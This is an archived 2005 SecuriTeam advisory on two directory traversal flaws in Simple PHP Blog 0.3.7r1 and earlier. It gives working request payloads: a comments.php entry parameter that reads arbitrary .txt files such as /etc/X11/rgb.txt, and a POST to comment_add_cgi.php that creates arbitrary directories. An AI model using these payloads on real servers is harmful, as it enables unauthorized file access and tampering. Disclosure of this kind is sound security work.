[UNIX] Simple PHP Blog Directory Traversal
From: SecuriTeam (support_at_securiteam.com)
Date: 01/10/05
- Previous message: SecuriTeam: "[NEWS] Multiple IBM DB2 Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 10 Jan 2005 14:06:05 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Simple PHP Blog Directory Traversal
------------------------------------------------------------------------
SUMMARY
<http://www.bigevilbrain.com/sphpblog/> Simple PHP Blog requires "no
database to create a blog system but instead only requires PHP 4 (or
greater) and write permission on the server".
Two vulnerabilities in Simple PHP Blog are caused by inadequate testing
for directory traversal attacks allow a remote attacker to view arbitrary
files and create arbitrary directories.
DETAILS
Vulnerable Systems:
* Simple PHP Blog version 0.3.7r1 and prior
Immune Systems:
* Simple PHP Blog version 0.3.7r2 or newer
We can read any file with TXT extension (in this example /etc/X11/rgb.txt)
Request:
http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb
Returns the content of the file
We can create arbitrary folders in the file system and the content of the
post will be saved in this folder.
To create folder http://[SERVER]/sphpblog/createdir/
Request (this must be a POST request and we must modify entry parameter):
http://[SERVER]/sphpblog/comment_add_cgi.php
~ entry=../../../createdir
ADDITIONAL INFORMATION
The information has been provided by <mailto:madelman@iname.com>
Madelman.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Multiple IBM DB2 Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|